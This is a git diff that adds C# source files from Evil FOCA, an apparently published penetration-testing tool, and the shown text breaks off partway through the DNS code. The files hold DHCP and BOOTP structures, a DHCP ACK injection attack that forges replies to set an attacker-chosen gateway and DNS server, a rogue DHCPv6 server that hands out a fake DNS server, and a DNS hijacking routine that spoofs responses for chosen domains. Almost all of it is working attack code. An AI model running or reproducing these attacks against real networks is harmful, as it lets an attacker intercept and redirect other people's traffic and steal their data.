0000000..28a7a89 --- /dev/null +++ b/EvilFoca/Attacks/DHCP.cs @@ -0,0 +1,291 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Runtime.InteropServices; + +namespace evilfoca.Attacks +{ + public static class DHCP + { + [StructLayout(LayoutKind.Sequential, Pack = 1)] + unsafe public struct bootp + { + public byte bp_op; /* packet opcode type */ + public byte bp_htype; /* hardware addr type */ + public byte bp_hlen; /* hardware addr length */ + public byte bp_hops; /* gateway hops */ + public uint bp_xid; /* transaction ID */ + public ushort bp_secs; /* seconds since boot began */ + public ushort bp_flags; /* flags - see bootp_flag_values[] in print-bootp.c */ + public uint bp_ciaddr; /* client IP address */ + public uint bp_yiaddr; /* 'your' IP address */ + public uint bp_siaddr; /* server IP address */ + public uint bp_giaddr; /* gateway IP address */ + public fixed byte bp_chaddr[16];/* client hardware address */ + public fixed byte bp_sname[64]; /* server host name */ + public fixed byte bp_file[128]; /* boot file name */ + public fixed byte bp_vend[4]; /* vendor-specific area dinamic size*/ + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct optionHeader + { + public byte option; + public byte lenght; + }; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //DHCP Message Type, 53 + public struct MessageType + { + public optionHeader optionHeader; + public byte type; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //DHCP Server ID, 54 + public struct ServerID + { + public optionHeader optionHeader; + public uint id; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //Requested IP Address, 50 + public struct RequestedIP + { + public optionHeader optionHeader; + public uint id; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //IP AddressLease Time, 51 + public struct AddressLeaseTime + { + public optionHeader optionHeader; + public uint time; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //Subnet Mask, 1 + public struct SubnetMask + { + public optionHeader optionHeader; + public uint mask; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //Router, 3 + public struct Router + { + public optionHeader optionHeader; + public uint ip; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //Domain Name server, 6 + public struct DomainNameServer + { + public optionHeader optionHeader; + public uint ip; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //Domain Name server, 17 + unsafe public struct Hostname + { + public optionHeader optionHeader; + public fixed byte name[1]; + }; + [StructLayout(LayoutKind.Sequential, Pack = 1)] + //The typical DHCP ACK response options + public struct optionsResponse + { + public MessageType messageType; + public ServerID serverID; + public AddressLeaseTime addressLeaseTime; + public SubnetMask subnetMask; + public Router route; + public DomainNameServer domainNameServer; + public byte endOptions; //0xFF + }; + + /* + * UDP port numbers, server and client. + */ + public const byte IPPORT_BOOTPS = 67; + public const byte IPPORT_BOOTPC = 68; + + public const byte BOOTPREPLY = 2; + public const byte BOOTPREQUEST = 1; + + /* + * Vendor magic cookie (v_magic; for RFC1048 (inverted to int comparison in little endian; + */ + public const uint VM_RFC1048 = 0x63538263; + + /* + * RFC1048 tag values used to specify what information is being supplied in + * the vendor field of the packet. + */ + + public const byte TAG_PAD = 0; + public const byte TAG_SUBNET_MASK = 1; + public const byte TAG_TIME_OFFSET = 2; + public const byte TAG_GATEWAY = 3; + public const byte TAG_TIME_SERVER = 4; + public const byte TAG_NAME_SERVER = 5; + public const byte TAG_DOMAIN_SERVER = 6; + public const byte TAG_LOG_SERVER = 7; + public const byte TAG_COOKIE_SERVER = 8; + public const byte TAG_LPR_SERVER = 9; + public const byte TAG_IMPRESS_SERVER = 10; + public const byte TAG_RLP_SERVER = 11; + public const byte TAG_HOSTNAME = 12; + public const byte TAG_BOOTSIZE = 13; + public const byte TAG_END = 255; + /* RFC1497 tags */ + public const byte TAG_DUMPPATH = 14; + public const byte TAG_DOMAINNAME = 15; + public const byte TAG_SWAP_SERVER = 16; + public const byte TAG_ROOTPATH = 17; + public const byte TAG_EXTPATH = 18; + /* RFC2132 */ + public const byte TAG_IP_FORWARD = 19; + public const byte TAG_NL_SRCRT = 20; + public const byte TAG_PFILTERS = 21; + public const byte TAG_REASS_SIZE = 22; + public const byte TAG_DEF_TTL = 23; + public const byte TAG_MTU_TIMEOUT = 24; + public const byte TAG_MTU_TABLE = 25; + public const byte TAG_INT_MTU = 26; + public const byte TAG_LOCAL_SUBNETS = 27; + public const byte TAG_BROAD_ADDR = 28; + public const byte TAG_DO_MASK_DISC = 29; + public const byte TAG_SUPPLY_MASK = 30; + public const byte TAG_DO_RDISC = 31; + public const byte TAG_RTR_SOL_ADDR = 32; + public const byte TAG_STATIC_ROUTE = 33; + public const byte TAG_USE_TRAILERS = 34; + public const byte TAG_ARP_TIMEOUT = 35; + public const byte TAG_ETH_ENCAP = 36; + public const byte TAG_TCP_TTL = 37; + public const byte TAG_TCP_KEEPALIVE = 38; + public const byte TAG_KEEPALIVE_GO = 39; + public const byte TAG_NIS_DOMAIN = 40; + public const byte TAG_NIS_SERVERS = 41; + public const byte TAG_NTP_SERVERS = 42; + public const byte TAG_VENDOR_OPTS = 43; + public const byte TAG_NETBIOS_NS = 44; + public const byte TAG_NETBIOS_DDS = 45; + public const byte TAG_NETBIOS_NODE = 46; + public const byte TAG_NETBIOS_SCOPE = 47; + public const byte TAG_XWIN_FS = 48; + public const byte TAG_XWIN_DM = 49; + public const byte TAG_NIS_P_DOMAIN = 64; + public const byte TAG_NIS_P_SERVERS = 65; + public const byte TAG_MOBILE_HOME = 68; + public const byte TAG_SMPT_SERVER = 69; + public const byte TAG_POP3_SERVER = 70; + public const byte TAG_NNTP_SERVER = 71; + public const byte TAG_WWW_SERVER = 72; + public const byte TAG_FINGER_SERVER = 73; + public const byte TAG_IRC_SERVER = 74; + public const byte TAG_STREETTALK_SRVR = 75; + public const byte TAG_STREETTALK_STDA = 76; + /* DHCP options */ + public const byte TAG_REQUESTED_IP = 50; + public const byte TAG_IP_LEASE = 51; + public const byte TAG_OPT_OVERLOAD = 52; + public const byte TAG_TFTP_SERVER = 66; + public const byte TAG_BOOTFILENAME = 67; + public const byte TAG_DHCP_MESSAGE = 53; + public const byte TAG_SERVER_ID = 54; + public const byte TAG_PARM_REQUEST = 55; + public const byte TAG_MESSAGE = 56; + public const byte TAG_MAX_MSG_SIZE = 57; + public const byte TAG_RENEWAL_TIME = 58; + public const byte TAG_REBIND_TIME = 59; + public const byte TAG_VENDOR_CLASS = 60; + public const byte TAG_CLIENT_ID = 61; + /* RFC 2241 */ + public const byte TAG_NDS_SERVERS = 85; + public const byte TAG_NDS_TREE_NAME = 86; + public const byte TAG_NDS_CONTEXT = 87; + /* RFC 2242 */ + public const byte TAG_NDS_IPDOMAIN = 62; + public const byte TAG_NDS_IPINFO = 63; + /* RFC 2485 */ + public const byte TAG_OPEN_GROUP_UAP = 98; + /* RFC 2563 */ + public const byte TAG_DISABLE_AUTOCONF = 116; + /* RFC 2610 */ + public const byte TAG_SLP_DA = 78; + public const byte TAG_SLP_SCOPE = 79; + /* RFC 2937 */ + public const byte TAG_NS_SEARCH = 117; + /* RFC 3011 */ + public const byte TAG_IP4_SUBNET_SELECT = 118; + /* RFC 3442 */ + public const byte TAG_CLASSLESS_STATIC_RT = 121; + public const byte TAG_CLASSLESS_STA_RT_MS = 249; + /* ftp://ftp.isi.edu/.../assignments/bootp-dhcp-extensions */ + public const byte TAG_USER_CLASS = 77; + public const byte TAG_SLP_NAMING_AUTH = 80; + public const byte TAG_CLIENT_FQDN = 81; + public const byte TAG_AGENT_CIRCUIT = 82; + public const byte TAG_AGENT_REMOTE = 83; + public const byte TAG_AGENT_MASK = 84; + public const byte TAG_TZ_STRING = 88; + public const byte TAG_FQDN_OPTION = 89; + public const byte TAG_AUTH = 90; + public const byte TAG_VINES_SERVERS = 91; + public const byte TAG_SERVER_RANK = 92; + public const byte TAG_CLIENT_ARCH = 93; + public const byte TAG_CLIENT_NDI = 94; + public const byte TAG_CLIENT_GUID = 97; + public const byte TAG_LDAP_URL = 95; + public const byte TAG_6OVER4 = 96; + public const byte TAG_PRINTER_NAME = 100; + public const byte TAG_MDHCP_SERVER = 101; + public const byte TAG_IPX_COMPAT = 110; + public const byte TAG_NETINFO_PARENT = 112; + public const byte TAG_NETINFO_PARENT_TAG = 113; + public const byte TAG_URL = 114; + public const byte TAG_FAILOVER = 115; + public const byte TAG_EXTENDED_REQUEST = 126; + public const byte TAG_EXTENDED_OPTION = 127; + + + /* DHCP Message types (values for TAG_DHCP_MESSAGE option; */ + public const byte DHCPDISCOVER = 1; + public const byte DHCPOFFER = 2; + public const byte DHCPREQUEST = 3; + public const byte DHCPDECLINE = 4; + public const byte DHCPACK = 5; + public const byte DHCPNAK = 6; + public const byte DHCPRELEASE = 7; + public const byte DHCPINFORM = 8; + + /* v_flags values */ + public const byte VF_SMASK = 1; /* Subnet mask field contains valid data */ + + /* RFC 4702 DHCP Client FQDN Option */ + + public const byte CLIENT_FQDN_FLAGS_S = 0x01; + public const byte CLIENT_FQDN_FLAGS_O = 0x02; + public const byte CLIENT_FQDN_FLAGS_E = 0x04; + public const byte CLIENT_FQDN_FLAGS_N = 0x08; + } +} diff --git a/EvilFoca/Attacks/DHCPACKInjection.cs b/EvilFoca/Attacks/DHCPACKInjection.cs new file mode 100644 index 0000000..2d20fa8 --- /dev/null +++ b/EvilFoca/Attacks/DHCPACKInjection.cs @@ -0,0 +1,266 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using SharpPcap.WinPcap; +using System.Net; +using System.Threading; +using System.Net.NetworkInformation; +using PacketDotNet; +using System.Runtime.InteropServices; +using evilfoca.Data; + +namespace evilfoca.Attacks +{ + // Este ataque es pasivo + class DHCPACKInjection + { + private WinPcapDevice device; + private SynchronizedCollection attacks; + + static IPAddress DHCPIP = new IPAddress(0); + static PhysicalAddress DHCPMAC = null; + static DHCP.optionsResponse optionResponseStatic = InitializeResponse(); + + static private DHCP.optionsResponse InitializeResponse() + { + DHCP.optionsResponse option = new DHCP.optionsResponse(); + option.messageType.optionHeader.option = DHCP.TAG_DHCP_MESSAGE; + option.messageType.optionHeader.lenght = 1; + option.messageType.type = DHCP.DHCPACK; + + option.serverID.optionHeader.option = DHCP.TAG_SERVER_ID; + option.serverID.optionHeader.lenght = 4; + option.serverID.id = 0; //To fill with the Server IP + + option.addressLeaseTime.optionHeader.option = DHCP.TAG_IP_LEASE; + option.addressLeaseTime.optionHeader.lenght = 4; + option.addressLeaseTime.time = (uint)IPAddress.HostToNetworkOrder((int)86400); //1 days in mins + + option.subnetMask.optionHeader.option = DHCP.TAG_SUBNET_MASK; + option.subnetMask.optionHeader.lenght = 4; + option.subnetMask.mask = (uint)IPAddress.Parse("255.255.255.0").Address; + + option.route.optionHeader.option = DHCP.TAG_GATEWAY; + option.route.optionHeader.lenght = 4; + option.route.ip = 0; //To fill with the gateway + + option.domainNameServer.optionHeader.option = DHCP.TAG_DOMAIN_SERVER; + option.domainNameServer.optionHeader.lenght = 4; + option.domainNameServer.ip = 0; //To fill with the DNS + + option.endOptions = 0xFF; + return option; + } + + public DHCPACKInjection(WinPcapDevice device, SynchronizedCollection attacks) + { + this.device = device; + this.attacks = attacks; + } + + public bool CheckIfIsDHCP(Packet p) + { + if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || + !(p.PayloadPacket.PayloadPacket is UdpPacket) || + ((p.PayloadPacket.PayloadPacket as UdpPacket).DestinationPort != 67 && (p.PayloadPacket.PayloadPacket as UdpPacket).DestinationPort != 68)) + return false; + else + return true; + } + + unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) + { + if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) + return; + UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; + if (udp.ParentPacket == null) + return; + if (!(udp.ParentPacket is IPv4Packet)) + return; + + IPv4Packet packetIpLayer = (IPv4Packet)udp.ParentPacket; + if (udp.PayloadData.Length < sizeof(DHCP.bootp)) + return; + DHCP.bootp* dhcp = (DHCP.bootp*)Marshal.UnsafeAddrOfPinnedArrayElement(udp.PayloadData, 0).ToPointer(); + + DHCP.RequestedIP optionRequestedIP = new DHCP.RequestedIP(); + bool existsOptionRequestedIP = false; + DHCP.ServerID optionServerID = new DHCP.ServerID(); + bool existsOptionServerID = false; + string Strname = string.Empty; + + ushort bp_vend_len = (ushort)(udp.Length - Marshal.SizeOf(*dhcp) + 4); + uint pos = 4; + while (pos < bp_vend_len) + { + byte option = dhcp->bp_vend[pos]; + if (option == 0xff) + { + break; + } + byte len = dhcp->bp_vend[pos + 1]; + switch (option) + { + case DHCP.TAG_DHCP_MESSAGE: + { + DHCP.MessageType* mtype = (DHCP.MessageType*)(dhcp->bp_vend + pos); + //We save the real DHCP IP + if (mtype->type == DHCP.DHCPACK && packetIpLayer.SourceAddress.Address != 0) + DHCPIP = packetIpLayer.SourceAddress; + //We get the DHCP Server MAC + if (mtype->type == DHCP.DHCPOFFER) + DHCPMAC = (p as EthernetPacket).SourceHwAddress; + //We only continue if it's a DHCP Request + if (mtype->type != DHCP.DHCPREQUEST) + return; + break; + } + case DHCP.TAG_REQUESTED_IP: + { + optionRequestedIP.id = ((DHCP.RequestedIP*)(dhcp->bp_vend + pos))->id; + existsOptionRequestedIP = true; + break; + } + case DHCP.TAG_SERVER_ID: + { + optionServerID.id = ((DHCP.ServerID*)(dhcp->bp_vend + pos))->id; + DHCPIP = new IPAddress(optionServerID.id); + existsOptionServerID = true; + break; + } + case DHCP.TAG_HOSTNAME: + { + byte* chr = (((DHCP.Hostname*)(dhcp->bp_vend + pos))->name); + byte lenght = ((DHCP.Hostname*)(dhcp->bp_vend + pos))->optionHeader.lenght; + for (int i = 0; i < lenght; i++) + Strname += (char)chr[i]; + break; + } + } + pos += (uint)len + 2; //The option and the length field + } + + bool realizarataque = false; + string dns = string.Empty; + string gateway = string.Empty; + string MAC; + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DHCPACKInjection && A.attackStatus == Data.AttackStatus.Attacking)) + { + dns = (attack as DHCPACKInjectionAttack).dns; + gateway = (attack as DHCPACKInjectionAttack).gateway; + MAC = (attack as DHCPACKInjectionAttack).MAC; + //If filter does not apply not continue + if (!string.IsNullOrEmpty(MAC) && !(p.PayloadPacket as EthernetPacket).SourceHwAddress.Equals(PhysicalAddress.Parse(MAC))) + realizarataque = false; + else + { + realizarataque = true; + break; + } + } + if (!realizarataque) + return; + + //Configuration used in the attack + PhysicalAddress MACUsed; + if (Program.CurrentProject.data.settings.UseRealDHCPData) + { + if (DHCPMAC != null) + MACUsed = DHCPMAC; + else //If the real dhcp server mac is not found we use the computer network device mac + MACUsed = device.Interface.MacAddress; + } + else + { + MACUsed = PhysicalAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerMAC); + } + + IPAddress IPUsed; + if (Program.CurrentProject.data.settings.UseRealDHCPData) + { + if (existsOptionServerID) + IPUsed = new IPAddress(optionServerID.id); + else + { + if (DHCPIP.Address == 0) + { + Program.LogThis("DHCP IP Address unknown, using 0.0.0.0 as IP source", Logs.Log.LogType.DHCPACKInjection); + IPUsed = IPAddress.Parse("0.0.0.0"); + } + else + { + IPUsed = DHCPIP; + } + } + } + else + { + IPUsed = IPAddress.Parse(Program.CurrentProject.data.settings.DHCPFakeServerIP); + } + + //Now we create a fake response + EthernetPacket response = new EthernetPacket(MACUsed, new PhysicalAddress(new byte[] { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }), EthernetPacketType.IpV4); + response.PayloadPacket = new IPv4Packet(IPUsed, new System.Net.IPAddress(0xffffffff)); + + //We want to follow the IP communication + (response.PayloadPacket as IPv4Packet).Id = packetIpLayer.Id; + + response.PayloadPacket.PayloadPacket = new UdpPacket(67, 68); + response.PayloadPacket.PayloadPacket.PayloadData = new byte[16]; + response.PayloadPacket.PayloadPacket.PayloadData = new byte[sizeof(DHCP.bootp) + sizeof(DHCP.optionsResponse)]; + + dhcp->bp_op = DHCP.BOOTPREPLY; + if (existsOptionRequestedIP) + dhcp->bp_yiaddr = optionRequestedIP.id; + else if (dhcp->bp_ciaddr != 0) + dhcp->bp_yiaddr = dhcp->bp_ciaddr; + else + { + return; + } + + dhcp->bp_flags = 0; + Marshal.Copy(new IntPtr(dhcp), response.PayloadPacket.PayloadPacket.PayloadData, 0, sizeof(DHCP.bootp)); + + //We need to fill the optionResponseStatic fields + if (existsOptionServerID) + optionResponseStatic.serverID.id = optionServerID.id; + optionResponseStatic.serverID.id = (uint)IPUsed.Address; + optionResponseStatic.route.ip = (uint)IPAddress.Parse(gateway).Address; + optionResponseStatic.domainNameServer.ip = (uint)IPAddress.Parse(dns).Address; + + fixed (DHCP.optionsResponse* op = &optionResponseStatic) + { + Marshal.Copy(new IntPtr(op), response.PayloadPacket.PayloadPacket.PayloadData, sizeof(DHCP.bootp), sizeof(DHCP.optionsResponse)); + } + + response.UpdateCalculatedValues(); + (response.PayloadPacket as IPv4Packet).UpdateCalculatedValues(); + (response.PayloadPacket as IPv4Packet).UpdateIPChecksum(); + (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateCalculatedValues(); + (response.PayloadPacket.PayloadPacket as UdpPacket).UpdateUDPChecksum(); + + device.SendPacket(response); + string message = string.Format("DHCP ACK sent to a {0} DHCP Request", new IPAddress(dhcp->bp_yiaddr).ToString()); + Program.LogThis(message, Logs.Log.LogType.DHCPACKInjection); + } + } +} diff --git a/EvilFoca/Attacks/DHCPIpv6.cs b/EvilFoca/Attacks/DHCPIpv6.cs new file mode 100644 index 0000000..295aebb --- /dev/null +++ b/EvilFoca/Attacks/DHCPIpv6.cs @@ -0,0 +1,175 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.IO; +using System.Linq; +using System.Net; +using evilfoca.Data; +using evilfoca.DHCPv6; +using PacketDotNet; +using SharpPcap.WinPcap; +using System.Collections.Generic; + +namespace evilfoca.Attacks +{ + // Este ataque es pasivo + class DHCPIpv6 + { + IList attacks; + private WinPcapDevice device; + byte IpID = 0x01; + + public DHCPIpv6(WinPcapDevice device, IList attacks) + { + this.device = device; + this.attacks = attacks; + } + + public bool CheckIfIsRequestDHCPIpv6(Packet p) + { + if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null) + return false; + if (!(p.PayloadPacket.PayloadPacket is UdpPacket) || !(p.PayloadPacket is IPv6Packet)) + return false; + if ((p.PayloadPacket as IPv6Packet).SourceAddress.Equals(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device))) + return false; + if ((p.PayloadPacket.PayloadPacket as UdpPacket).SourcePort == 546 && (p.PayloadPacket.PayloadPacket as UdpPacket).DestinationPort == 547) + return true; + return false; + } + + unsafe public void AnalyzePacket(WinPcapDevice device, Packet p) + { + if (p.PayloadPacket == null || p.PayloadPacket.PayloadPacket == null || !(p.PayloadPacket.PayloadPacket is UdpPacket)) + return; + UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; + if (udp.ParentPacket == null) + return; + if (!(udp.ParentPacket is IPv6Packet)) + return; + + if (attacks.Where(A => A.attackType == AttackType.DHCPIpv6).Count() == 0) + return; + + DhcpIPv6 attack = (DhcpIPv6)attacks.Where(A => A.attackType == AttackType.DHCPIpv6).First(); + + + IPv6Packet packetIpLayer = (IPv6Packet)udp.ParentPacket; + EthernetPacket ethernet = (EthernetPacket)p; + + /* + Info: http://en.wikipedia.org/wiki/DHCPv6 + Example + In this example, the server's link-local address is fe80::0011:22ff:fe33:5566/64 and the client's link-local address is fe80::aabb:ccff:fedd:eeff/64. + DHCPv6 client sends a Solicit from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. + DHCPv6 server replies with an Advertise from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. + DHCPv6 client replies with a Request from [fe80::aabb:ccff:fedd:eeff]:546 for [ff02::1:2]:547. (All client messages are sent to the multicast address, per section 13 of RFC 3315.) + DHCPv6 server finishes with a Reply from [fe80::0011:22ff:fe33:5566]:547 for [fe80::aabb:ccff:fedd:eeff]:546. + */ + DHCPv6Packet pa = new DHCPv6Packet(); + pa.ParsePacket(udp.PayloadData); + + if (packetIpLayer.DestinationAddress.Equals(IPAddress.Parse("ff02::1:2"))) + { + EthernetPacket newPEthernet = new EthernetPacket(device.Interface.MacAddress, + ethernet.SourceHwAddress, + EthernetPacketType.IpV6); + UdpPacket newUDP = null; + IPAddress ipv6LocalLink = null; + IPv6Packet newIpv6 = null; + switch (pa.MessageType) + { + case DHCPv6Type.Solicit: + if (pa.Options.ContainsKey(DHCPv6OptionCode.ClientIdentifier) && pa.Options.ContainsKey(DHCPv6OptionCode.IANA)) + { + newUDP = new UdpPacket(547, 546); + byte[] iaid = pa.Options[DHCPv6OptionCode.IANA].Value; + pa.MessageType = DHCPv6Type.Advertise; + pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); + pa.Options.Remove(DHCPv6OptionCode.FQDM); + pa.Options.Remove(DHCPv6OptionCode.VendorClass); + pa.Options.Remove(DHCPv6OptionCode.OptionRequest); + pa.Options.Remove(DHCPv6OptionCode.IANA); + pa.AddServerIdentifierOption(device.MacAddress); + pa.AddIANAOption(IPAddress.Parse(string.Format("{0}:{1}", attack.fakeIPRange.ToString().Substring(0, attack.fakeIPRange.ToString().LastIndexOf(':')), IpID)), iaid); + pa.AddDNSOption(attack.fakeDns); + pa.AddDomainSearchListOption(new string[] { "google.com" }); + IpID++; + newUDP.PayloadData = pa.BuildPacket(); + + ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); + newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); + newIpv6.HopLimit = 1; + newIpv6.PayloadPacket = newUDP; + newPEthernet.PayloadPacket = newIpv6; + newUDP.UpdateCalculatedValues(); + newUDP.UpdateUDPChecksum(); + Program.CurrentProject.data.SendPacket(newPEthernet); + } + break; + case DHCPv6Type.Request: + newUDP = new UdpPacket(547, 546); + pa.MessageType = DHCPv6Type.Reply; + pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); + pa.Options.Remove(DHCPv6OptionCode.FQDM); + pa.Options.Remove(DHCPv6OptionCode.VendorClass); + pa.Options.Remove(DHCPv6OptionCode.OptionRequest); + pa.Options.Remove(DHCPv6OptionCode.DNS); + + pa.AddDNSOption(attack.fakeDns); + pa.AddDomainSearchListOption(new string[] { "google.com" }); + newUDP.PayloadData = pa.BuildPacket(); + + ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); + newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); + newIpv6.HopLimit = 1; + newIpv6.PayloadPacket = newUDP; + newPEthernet.PayloadPacket = newIpv6; + newUDP.UpdateCalculatedValues(); + newUDP.UpdateUDPChecksum(); + Program.CurrentProject.data.SendPacket(newPEthernet); + break; + case DHCPv6Type.InformationRequest: + newUDP = new UdpPacket(547, 546); + pa.MessageType = DHCPv6Type.Reply; + pa.Options.Remove(DHCPv6OptionCode.ElapsedTime); + pa.Options.Remove(DHCPv6OptionCode.FQDM); + pa.Options.Remove(DHCPv6OptionCode.VendorClass); + pa.Options.Remove(DHCPv6OptionCode.OptionRequest); + pa.Options.Remove(DHCPv6OptionCode.IANA); + pa.AddServerIdentifierOption(device.MacAddress); + pa.AddDNSOption(attack.fakeDns); + pa.AddDomainSearchListOption(new string[] { "google.com" }); + newUDP.PayloadData = pa.BuildPacket(); + + ipv6LocalLink = IPAddress.Parse(Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(device).ToString()); + newIpv6 = new IPv6Packet(ipv6LocalLink, packetIpLayer.SourceAddress); + newIpv6.HopLimit = 1; + newIpv6.PayloadPacket = newUDP; + newPEthernet.PayloadPacket = newIpv6; + newUDP.UpdateCalculatedValues(); + newUDP.UpdateUDPChecksum(); + Program.CurrentProject.data.SendPacket(newPEthernet); + break; + default: + break; + } + } + } + } +} diff --git a/EvilFoca/Attacks/DNSHijacking.cs b/EvilFoca/Attacks/DNSHijacking.cs new file mode 100644 index 0000000..bb269a2 --- /dev/null +++ b/EvilFoca/Attacks/DNSHijacking.cs @@ -0,0 +1,360 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using SharpPcap.WinPcap; +using PacketDotNet; +using System.IO; +using System.Net; +using SharpPcap.LibPcap; +using System.Net.NetworkInformation; +using evilfoca.Data; + +namespace evilfoca.Attacks +{ + class DNSHijacking + { + SynchronizedCollection attacks; + private WinPcapDevice Device; + + public DNSHijacking(WinPcapDevice dev, SynchronizedCollection attacks) + { + this.Device = dev; + this.attacks = attacks; + } + + private bool NeedToRoute(IpPacket pIp) + { + bool needToRoute = true; + foreach (PcapAddress remoteAddress in Device.Addresses) + { + if (remoteAddress.Addr.ipAddress == null) + continue; + + if (remoteAddress.Addr.ipAddress.Equals(pIp.DestinationAddress)) + needToRoute = false; // Va dirigido a nuestra IP, así que no se enruta + } + + return needToRoute; + } + + public bool CheckIfHijack(Packet p) + { + + foreach (Data.Attack attack in attacks.Where(A => A.attackType == Data.AttackType.DNSHijacking && A.attackStatus == Data.AttackStatus.Attacking)) + { + if ((p.PayloadPacket != null && p.PayloadPacket.PayloadPacket != null) && (p.PayloadPacket.PayloadPacket is UdpPacket)) + { + EthernetPacket ethernet = (EthernetPacket)p; + IpPacket ip = (IpPacket)p.PayloadPacket; + UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; + + if ((udp.SourcePort == 53)) // La respuesta DNS + { + // Comprobamos que venga a nuestra MAC pero no a nuestra IP + if (NeedToRoute(ip)) + { + try + { + Heijden.DNS.Response response = new Heijden.DNS.Response(new IPEndPoint(IPAddress.Parse("1.2.3.4"), 53), udp.PayloadData); + DNSHijackAttack dnsAttack = (DNSHijackAttack)attack; + + foreach (Heijden.DNS.Question q in response.Questions) + { + if ((q.QName == dnsAttack.domain + ".") || dnsAttack.domain == "*") + return true; + } + } + catch + { + return false; + } + } + else + return false; + } + } + } + return false; + } + + public IPAddress GetIpFromSpoofDomain(string domain) + { + foreach (Attack attack in attacks) + { + if (attack is DNSHijackAttack) + { + if (((DNSHijackAttack)attack).domain == "*" || ((DNSHijackAttack)attack).domain.ToLower() == domain.ToLower()) + { + return ((DNSHijackAttack)attack).ip; + } + } + } + + return null; + } + + public Attack GetAttackFromSpoofDomain(string domain) + { + foreach (Attack attack in attacks) + { + if (attack is DNSHijackAttack) + { + if (((DNSHijackAttack)attack).domain == "*" || ((DNSHijackAttack)attack).domain.ToLower() == domain.ToLower()) + { + return attack; + } + } + } + + return null; + } + + public Packet Hijack(Packet p) + { + if (!CheckIfHijack(p)) + return null; + + EthernetPacket ethernet = (EthernetPacket)p; + IpPacket ip = (IpPacket)p.PayloadPacket; + UdpPacket udp = (UdpPacket)p.PayloadPacket.PayloadPacket; + + MemoryStream ms = new MemoryStream(udp.PayloadData); + BinaryReader br = new BinaryReader(ms); + + StringBuilder sbName = new StringBuilder(); + + string x = ASCIIEncoding.ASCII.GetString(udp.PayloadData); + + // trans id + short id = br.ReadInt16(); + // flags + br.ReadInt16(); + // questions + short questions = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // answers + short answers = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // authority rrs + short authorityRRs = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // aditional rrs + short aditionalRRs = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + for (int i = 0; i < questions; i++) + { + sbName = new StringBuilder(); + + // En este while lee el nombre del dominio al que se le hace la peticion + while (true) + { + byte b = br.ReadByte(); + + if (b == 0x00) + break; + + if ((b > 0 && b < Convert.ToByte('0'))) + { + if (sbName.Length > 0) + sbName.Append("."); + } + else + sbName.Append((char)b); + } + + // type + br.ReadInt16(); + // class + br.ReadInt16(); + } + + for (int i = 0; i < answers; i++) + { + // name 